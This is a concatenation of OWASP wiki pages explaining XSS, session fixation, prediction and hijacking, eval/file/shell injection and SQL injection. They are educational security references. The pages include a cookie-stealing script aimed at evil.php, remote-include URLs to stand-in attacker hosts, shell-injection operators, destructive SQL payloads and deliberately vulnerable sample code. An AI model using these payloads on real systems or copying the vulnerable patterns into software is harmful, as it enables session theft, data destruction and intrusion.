Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

===Example 2===

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<pre>
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>
</pre>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

=== Attack Examples ===

'''Example 1 : Cookie Grabber'''

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<pre>
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
</pre>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

===Error Page Example===

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error
page. We may use the code below as an example to inform user about what specific page is missing:
<pre>
<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>
</pre>
Let's see how it works:
<pre>
http://testsite.test/file_which_not_exist
</pre>
In response we get:
<pre>
Not found: /file_which_not_exist
</pre>
Now we will try to force the error page to include our code:
<pre>
http://testsite.test/<script>alert("TEST");</script>
</pre>
The result is:
<pre>
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
</pre>
We have successfully injected the code, our XSS! What does it mean? For example, that we
may use this flaw to try to steal a user's session cookie.



==Related [[Attacks]]==
* [[XSS Attacks]]
* [[:Category:Injection Attack]]
* [[Invoking untrusted mobile code]]
* [[Cross Site History Manipulation (XSHM)]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]
* [[Cross Site Scripting Flaw]]

==Related [[Controls]]==
* [[:Category:Input Validation]]
* [[HTML Entity Encoding]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]]
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
<br>
{{Template:Fortify}}

[[Category:Injection]]
[[Category:OWASP Top Ten Project]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Security Focus Area]]
[[Category:Attack]]

Session fixation

2011-12-06T22:29:31Z

Alan Jex: Added to subcategory "Exploitation of Authentication"

{{Template:Attack}}

<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==
Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of inducing a user to authenticate himself with a known session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it.

The session fixation attack is a class of [[Session hijacking attack|Session Hijacking]], which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in.

There are several techniques to execute the attack; it depends on how the Web application deals with session tokens. Below are some of the most common techniques:

'''• Session token in the URL argument:'''
The Session ID is sent to the victim in a hyperlink and the victim accesses the site through the malicious URL.

'''• Session token in a hidden form field:'''
In this method, the victim must be tricked to authenticate in the target Web Server, using a login form developed for the attacker. The form could be hosted in the evil web server or directly in html formatted e-mail.

'''• Session ID in a cookie:'''

o Client-side script

Most browsers support the execution of client-side scripting. In this case, the aggressor could use attacks of code injection as the [[Cross-site Scripting (XSS)|XSS]] (Cross-site scripting) attack to insert a malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the function document.cookie, the browser which executes the command becomes capable of fixing values inside of the cookie that it will use to keep a session between the client and the Web Application.

o <META> tag

<META> tag also is considered a code injection attack, however, different from the XSS attack where undesirable scripts can be disabled, or the execution can be denied. The attack using this method becomes much more efficient because it's impossible to disable the processing of these tags in the browsers.

o HTTP header response

This method explores the server response to fix the Session ID in the victim's browser. Including the parameter Set-Cookie in the HTTP header response, the attacker is able to insert the value of Session ID in the cookie and sends it to the victim's browser.

==Risk Factors==
TBD

==Examples ==
===Example 1===
The example below explains a simple form, the process of the attack, and the expected results.

(1)The attacker has to establish a legitimate connection with the web server which (2) issues a session ID or, the attacker can create a new session with the proposed session ID, then, (3) the attacker has to send a link with the established session ID to the victim, she has to click on the link sent from the attacker accessing the site, (4) the Web Server saw that session was already established and a new one need not to be created, (5) the victim provides his credentials to the Web Server, (6) knowing the session ID, the attacker can access the user's account.

<center>

https://www.owasp.org/images/9/9c/Fixation.jpg

Figure 1. Simple example of Session Fixation attack.
</center>

===Example 2===
Client-side scripting

The processes for the attack using the execution of scripts in the victim's browser are very similar to example 1, however, in this case, the Session ID does not appear as an argument of the URL, but inside of the cookie. To fix the value of the Session ID in the victim's cookie, the attacker could insert a JavaScript code in the URL that will be executed in the victim's browser.

<nowiki> http://website.kom/<script>document.cookie=”sessionid=abcd”;</script></nowiki>

===Example 3===
<META> tag

As well as client-side scripting, the code injection must be made in the URL that will be sent to the victim.

<nowiki>http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”></nowiki>

===Example 4===
HTTP header response

The insertion of the value of the SessionID into the cookie manipulating the server response can be made, intercepting the packages exchanged between the client and the Web Application inserting the Set-Cookie parameter.

<center>

https://www.owasp.org/images/e/ed/Fixation2.jpg

Figure 2. Set-Cookie in the HTTP header response
</center>

==Related [[Threat Agents]]==
* [[:Category:Authorization]]

==Related [[Attacks]]==
* [[XSS Attacks]]
* [[Session hijacking attack]]

==Related [[Vulnerabilities]]==
* [[:Category:Session Management Vulnerability]]

==Related [[Controls]]==
* [[Session Fixation Protection]]

==References==
* http://www.acros.si/papers/session_fixation.pdf
* http://en.wikipedia.org/wiki/Session_fixation
* http://www.derkeiler.com/pdf/Mailing-Lists/Securiteam/2002-12/0099.pdf

==Categories==
[[Category:Exploitation of Authentication]]
[[Category:Attack]]

Session Prediction

2011-12-06T22:26:50Z

Alan Jex: Added to subcategory "Exploitation of Authentication"

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==
The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application.

In the first step, the attacker needs to collect some valid session ID values that are used to identify authenticated users. Then, he must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it.
Some bad implementations use sessions IDs composed by username or other predictable information, like timestamp or client IP address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding.

In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

==Examples ==
The session ID information for a certain application is normally composed by a string of fixed width. Randomness is very important to avoid its prediction.
Looking at the example in Figure 1, the session ID variable is represented by JSESSIONID and its value is “user01”, which corresponds to the username. By trying new values for it, like “user02”, it could be possible to get inside the application without prior authentication.

<center>
[[Image:Predictable_cookie.JPG]]

Figure 1. Predictable cookie
</center>

==External References==

http://www.iss.net/security_center/advice/Exploits/TCP/session_hijacking/default.htm

http://en.wikipedia.org/wiki/HTTP_cookie

==Related Threats==

[[:Category: Authorization]]

==Related Attacks==

* [[Man-in-the-middle attack]]
* [[Session hijacking attack]]
* [[Manipulating User Permission Identifier]]

==Related Vulnerabilities==

[[:Category:Input Validation Vulnerability]]

==Related Countermeasures==

[[:Category:Session Management Control]]

==Categories==
[[Category:Exploitation of Authentication]]
[[Category:Attack]]

Session hijacking attack

2011-12-06T22:25:42Z

Alan Jex: Added to subcategory "Exploitation of Authentication"

{{Template:Attack}}
<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:
* Predictable session token;
* Session Sniffing;
* Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
* [[Man-in-the-middle attack]]
* [[Man-in-the-browser attack]]

==Risk Factors==
TBD

==Examples ==

===Example 1===
====Session Sniffing====

In the example, as we can see, first the attacker uses a sniffer to capture a valid token session called “Session ID”, then he uses the valid token session to gain unauthorized access to the Web Server.

<center>
[[Image:Session_Hijacking_3.JPG]]

Figure 2. Manipulating the token session executing the session hijacking attack.
</center>

===Example 2===
====Cross-site script attack====

The attacker can compromise the session token by using malicious code or programs running at the client-side. The example shows how the attacker could use an XSS attack to steal the session token. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.
The example in figure 3 uses an XSS attack to show the cookie value of the current session; using the same technique it's possible to create a specific JavaScript code that will send the cookie to the attacker.

<SCRIPT>alert(document.cookie);</SCRIPT>

<center>
[[Image:Code_Injection.JPG]]

Figure 3. Code injection.
</center>

'''Other Examples'''
The following attacks intercept the information exchange between the client and the server:
* [[Man-in-the-middle attack]]
* [[Man-in-the-browser attack]]

==Related [[Threat Agents]]==
* [[:Category: Authorization]]

==Related [[Attacks]]==
* [[Man-in-the-middle attack]]
* [[Man-in-the-browser attack]]
* [[Session Prediction]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==
* [[:Category:Session Management]]

==References==
* http://www.iss.net/security_center/advice/Exploits/TCP/session_hijacking/default.htm
* http://en.wikipedia.org/wiki/HTTP_cookie

[[Category:Exploitation of Authentication]]
[[Category:Attack]]

Direct Dynamic Code Evaluation ('Eval Injection')

2011-12-06T22:07:23Z

Alan Jex: Added attack to Injection subcategory

{{Template:Attack}}

<br>
[[Category:OWASP ASDR Project]]

Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

This attack consists of a script that does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.

Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.

Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

==Risk Factors==
TBD
[[Category:FIXME|need content here]]

==Examples==

===Example 1===
In this example an attacker can control all or part of an input string that is fed into an eval() function call

<pre><nowiki>
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
</nowiki></pre>

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10 ; system(\"/bin/echo uh-oh\");", additional code is run which executes a program on the server, in this case "/bin/echo".

===Example 2===
The following is an example of [[SQL Injection]]. Consider a web page which has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames:
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns exactly one row, then access is granted. However, if a malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

===Example 3===
This is an example of a file that was injected. Consider this PHP program (which includes a file specified by request):

<pre><nowiki>
<?php
$color = 'blue';
if ( isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
<form>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
</nowiki></pre>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

* <code>/vulnerable.php?COLOR='''<nowiki>http://evil/exploit</nowiki>'''</code> - injects a remotely hosted file containing an exploit.

* <code>/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''</code> - injects an uploaded file containing an exploit.

* <code>/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''</code> - injects an uploaded file containing an exploit, using [[Path Traversal]].

* <code>/vulnerable.php?COLOR='''C:\notes.txt%00'''</code> - example using Null character, Meta character to remove the <code>.php</code> suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

===Example 4===
A simple URL which demonstrates a way to do this attack:

<nowiki>http://some-page/any-dir/index.php?page=<?include($s);?>&s=http://malicious-page/cmd.txt? </nowiki>

===Example 5===
Shell Injection applies to most systems which allow software to programmatically execute a Command line. Typical sources of Shell Injection are calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.

Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word.

<pre><nowiki>
<HTML>
<?php
passthru ( " /home/user/phpguru/funnytext "
. $_GET['USER_INPUT'] );
?>
</nowiki></pre>

This program can be injected in multiple ways:
* '''`command`''' will execute '''command'''.
* '''$(command)''' will execute '''command'''.
* '''; command''' will execute '''command''', and output result of command.
* '''| command''' will execute '''command''', and output result of command.
* '''&& command''' will execute '''command''', and output result of command.
* '''|| command''' will execute '''command''', and output result of command.
* '''> /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.
* '''< /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.

PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

===Example 6===
The following code is vulnerable to eval() injection, because it don’t sanitize the user’s input (in this case: “username”). The program just saves this input in a txt file, and then the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.

Example:
<pre><nowiki>
<%
If not isEmpty(Request( "username" ) ) Then
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
f.Write Request("username") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
%>
<h1>List of logged users:</h1>
<pre>
<%
Server.Execute( "userlog.txt" )
%>
</pre>
<%
Else
%>
<form>
<input name="username" /><input type="submit" name="submit" />
</form>
<%
End If
%>
</nowiki></pre>

==Related [[Threat Agents]]==
* [[:Internal software developer]]

==Related [[Attacks]]==
* [[Direct Static Code Injection]]
* [[Code Injection]]
* [[:Category:Injection Attack | Injection Attacks]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==
* [[:Category:Input Validation]]

==References==
* http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1
* http://en.wikipedia.org/wiki/Code_injection

[[Category:Injection]]
[[Category: Attack]]
__NOTOC__

SQL Injection

2011-12-06T21:58:12Z

Alan Jex:

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__<br><br>

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

== Overview ==
A [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
SQL injection attacks are a type of [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

==Threat Modeling==
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

==Related Security Activities==

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.<br>
See the OWASP [[SQL Injection Prevention Cheat Sheet]].

===How to Review Code for SQL Injection Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

===How to Test for SQL Injection Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Description==
SQL injection errors occur when:

# Data enters a program from an untrusted source.
# The data used to dynamically construct a SQL query

The main consequences are:

* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.

* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.

* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.

== Risk Factors==
The platform affected can be:
* Language: SQL
* Platform: Any (requires interaction with a SQL database)

[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind.

Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

== Examples ==

===Example 1===

In SQL:

<pre>
select id, firstname, lastname from authors
</pre>

If one provided:

<pre>
Firstname: evil'ex
Lastname: Newman
</pre>

the query string becomes:

<pre>
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'
which the database attempts to run as
</pre>

<pre>
Incorrect syntax near al' as the database tried to execute evil.
</pre>

A safe version of the above SQL statement could be coded in Java as:

<pre>
String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
// FIXME: do your own validation to detect attacks
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, firstname );
pstmt.setString( 2, lastname );
try
{
ResultSet results = pstmt.execute( );
}
</pre>

===Example 2===

The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

<pre>
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = "'"
+ userName + "' AND itemname = '"
+ ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
</pre>

The query that this code intends to execute follows:

<pre>
SELECT * FROM items
WHERE owner =
AND itemname = ;
</pre>

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:

<pre>
SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';
</pre>

The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

<pre>
SELECT * FROM items;
</pre>

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

===Example 3===

This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string "hacker'); DELETE FROM items; --" for itemName, then the query becomes the following two queries:

<pre>
SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';

DELETE FROM items;

--'
</pre>

Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a", the following three valid statements will be created:

<pre>
SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';

DELETE FROM items;

SELECT * FROM items WHERE 'a'='a';
</pre>

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

* Target fields that are not quoted
* Find ways to bypass the need for certain escaped meta-characters
* Use stored procedures to hide the injected meta-characters

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

<pre>
procedure get_item (
itm_cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar2)
is
open itm_cv for ' SELECT * FROM items WHERE ' ||
'owner = '''|| usr ||
' AND itemname = ''' || itm || '''';
end get_item;
</pre>

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

==Related [[Threat Agents]]==
* [[:Category:Command Execution]]
* [[Injection problem]]

==Related [[Attacks]]==
* [[Top 10 2007-Injection Flaws | injection attack]]
* [[Blind SQL Injection]]
* [[Code Injection]]
* [[Double Encoding]]
* [[Interpreter_Injection#ORM_Injection]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==
* [[Input Validation]]
* [[Output Validation]]
* [[Static Code Analysis]]
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?
Avoidance and mitigation

* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.

* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.

* Image:Advanced Topics on SQL Injection Protection.ppt
]]

==References ==
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.
* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.
* [http://www.nosec.org/en/pangolin.html Pangolin] - Closed source SQL Injection Scanner.

[[Category:Injection]]
[[Category: Attack]]